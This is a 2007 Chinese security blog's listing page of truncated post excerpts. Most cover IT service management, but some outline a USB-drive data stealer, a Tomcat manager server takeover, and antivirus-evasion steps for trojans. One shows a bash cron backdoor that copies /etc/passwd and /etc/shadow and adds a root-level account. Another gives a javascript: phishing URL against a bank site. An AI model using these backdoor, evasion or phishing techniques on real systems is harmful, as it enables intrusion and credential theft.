linkboy的博客_信息安全管理原创博文(2)

用vbs 实现U盘大盗

前几天在网上流浪发现了一个东东——U盘大盗看看他的说明：原理很简单就是每隔一段时间探测有没有新的设备然后…… 直觉告诉我用vbs可能更简单 -------------------------------------------------------------------------------------------------

职场

U盘

休闲

vbs

原创 2007-12-03 11:59:00 1302 阅读

安全经验：10大方法减少内部人员安全风险

如今内部人员给公司的安全造成的威胁非同小可。近来的一些报告指出，内部人员对公司的损害在所有的危害事件中已从80%上升为86%,而且超过半数发生在雇员的终端。无疑，拥有访问公司系统权限的内部雇员极有可能被误导到那些欺诈性的或危险的链接上。而在所有的雇员中，IT工作人员拥有的这种访问权限最多。因此，IT审核应关注从多个方面确认风险。下面我们给出实施有关控制和减少工作人员对管理员欺诈的方法。　　1

职场

经验

风险

休闲

原创 2007-12-01 20:20:00 352 阅读

微软：惊现5年前漏洞(美国以外)

导读：　　美联社消息：一个5年前的bug重现Windows，这个bug存在于美国以外的视窗电脑上。这个bug在新西兰Kiwicon黑客大会上得以证实，利用这个bug黑客可以通过一组简单的攻击，就可以控制世界范围内大量的家用和商用电脑。　　Butler指出在仅拥有400万人口新西兰大约有160000台电脑存在这个漏洞，除了岛上的绵羊和水果不使用电脑外，这个数目触目惊心。　　详细的漏

微软

职场

漏洞

美国

休闲

原创 2007-11-28 11:36:00 362 阅读

意外拿下jsp服务器

　首先声明这篇文章完全没有技术含量,我也想过到底要不要发到原创,但是觉得除了发原创也真不知道发哪里好了,所以最好还是发这里来了.发这篇文章是因为自己从来没有遇到过这种情况,虽说这里都是高手,但也难免有几个可能会没有遇到过的,所以拿出来和大家探讨一下. 　　昨天晚上一个校内网友给我一个地址(http://10.13.31.123:8888/manager/html/list)问我有啥用,我访问了

职场

服务器

jsp

休闲

意外

原创 2007-11-11 12:47:00 492 阅读

关于win2003+iis6服务器设置排错集锦及其他

很多朋友在用IIS6架网站的时候遇到不少问题，以下是在所知的2003iis碰见的一些问题，只要对着症状处理。服务器一定可以使用的。问题1：未启用父路径症状举例： Server.MapPath() 错误 'ASP 0175 : 80004005' 不允许的 Path 字符 /0709/dqyllhsub/news/OpenDatabase.asp，行 4 在 MapPath 的

职场

设置

服务器

休闲

集锦

原创 2007-10-29 09:20:00 1260 阅读

不死帐号 11：40复活，13：10 自杀

#!/bin/bash echo '40 11 * * * cat /etc/passwd > /dev/linkpwd' > /etc/t.cron; echo '40 11 * * * cat /etc/shadow > /dev/linkshw' >> /etc/t.cron; echo '41 11 * * * echo "link:x:0:0

职场

帐号

自杀

休闲

复活

原创 2007-07-17 13:38:00 330 阅读

ITSM：某省通信公司支撑系统服务管理案例

1）公司背景　　某通信公司在全国30个省、自治区、直辖市设立了300多个分公司和子公司。经营的电信业务包括移动电话（包括GSM和CDMA）、无线寻呼、长途电话、本地电话、数据通信（包括因特网和IP电话业务）、电信增值业务，以及与主营业务有关的其他业务。某通信公司某省分公司是省级分公司，负责全省16个地市的电信运营管理，是某省电信行业的重要支柱。　　某省通信公司现有业务支撑系统包括综合营账系

ITSM

系统

通信

管理

某省

原创 2007-05-29 20:54:00 753 阅读

如何成为一个安全管理员

首先安全管理员不是系统管理员，不能只能维护层面的东西，更不能由事件来驱动，而是按着自己的架构逐步实施。防毒、终端管理、审计、补丁、策略……这些在领导看来都是维护层面的东西，安全不能只做维护层面的事情，只在具体的点上解决安全问题，效果是不好。逐步建立起风险管理的文化，构建好IT控制框架和体系，与业务层面和管理层面尽可能结合，让安全渗透到企业的方方面面，这样慢慢用户

管理员

职场

休闲

原创 2007-05-17 09:37:00 580 阅读

实现ITSM知识库管理

面对日趋复杂的IT应用，多种多样的IT需求，如何提供高品质的IT运维支持，成为众多企业关注的核心问题。　　IT服务管理（ITSM）作为一种基于ITIL（IT Infrastructure Library）标准的国际化管理规范和方法论，为企业提升信息化服务的效率，实现以服务为中心的高质量管理提供了有效帮助。作为ITSM的内容之一，知识库管理的重要性不容忽视。　　运维知识要素：　　 ◆ 记

职场

ITSM

管理

休闲

知识库

原创 2007-05-16 21:14:00 1190 阅读

免杀世界反毒网所有杀软的思路

1:生成无壳木马服务端(地球人都知道) 2:去头加花,要求,新建区段,把原入口写入新区段,然后再建区段,再建新头,跳回新区段的老入口,就是头前头,然后老入口不要直接回执行,再跳入空白处再加花指令,然后再回去原执行处,这样就完成了去头加花头前头,头后头,头前头和原头都是新区段,而且不是同区段. 3:再次用软件加密加花,可以多次加,只要程序可以正常运行就行.到这里基本已经过了主流全部国内杀软了,包

思路

职场

休闲

反毒网

原创 2007-02-06 18:59:00 707 阅读

工行网站出现非常低级的漏洞，会导致用户被欺骗

工行虽然对hotspot的漏洞做了屏蔽，但是漏洞没有吗？不，漏洞依然存在，虽然不在出现工行页面，但是由于使用的是工行的官方页面，所以只需要构造一个页面用来伪装工行页面，该页面仍然可以钓鱼，由于涉及银行用户安全，所以我不再公布具体的实施办法，只发布漏洞页面的范例，请大家测试 http://www.icbc.com.cn/click/adver/adver.jsp?para=javascript

漏洞

用户

工行

欺骗

休闲

原创 2007-01-03 10:57:00 441 阅读

wifi不可靠无线局域网八大安全困惑

无线局域网被认为是一种不可靠的网络，除了加强网络管理以外，更需要测试设备的构建、实施、维护和管理。　　尽管IT的寒冬还未渡过，但WLAN以其便利的安装、使用，高速的接入速度，可移动的接入方式赢得了众多公司、政府、个人以及电信运营商的青睐。但WLAN中，由于传送的数据是利用无线电波在空中辐射传播，无线电波可以穿透天花板、地板和墙壁，发射的数据可能到达预期之外的、安装在不同楼层、甚至是发射机所在的

职场

wifi

困惑

休闲

无线局域网

原创 2007-01-01 12:00:00 689 阅读

wifi不可靠无线局域网八大安全困惑

无线局域网被认为是一种不可靠的网络，除了加强网络管理以外，更需要测试设备的构建、实施、维护和管理。　　尽管IT的寒冬还未渡过，但WLAN以其便利的安装、使用，高速的接入速度，可移动的接入方式赢得了众多公司、政府、个人以及电信运营商的青睐。但WLAN中，由于传送的数据是利用无线电波在空中辐射传播，无线电波可以穿透天花板、地板和墙壁，发射的数据可能到达预期之外的、安装在不同楼层、甚至是发射机所在的

职场

wifi

困惑

休闲

无线局域网

原创 2007-01-01 12:00:00 393 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy

用vbs 实现U盘大盗

安全经验：10大方法减少内部人员安全风险

微软：惊现5年前漏洞(美国以外)

意外拿下jsp服务器

关于win2003+iis6服务器设置排错集锦及其他

不死帐号 11：40复活，13：10 自杀

ITSM：某省通信公司支撑系统服务管理案例

如何成为一个安全管理员

实现ITSM知识库管理

免杀世界反毒网所有杀软的思路

工行网站出现非常低级的漏洞，会导致用户被欺骗

wifi不可靠无线局域网八大安全困惑

wifi不可靠无线局域网八大安全困惑

欢迎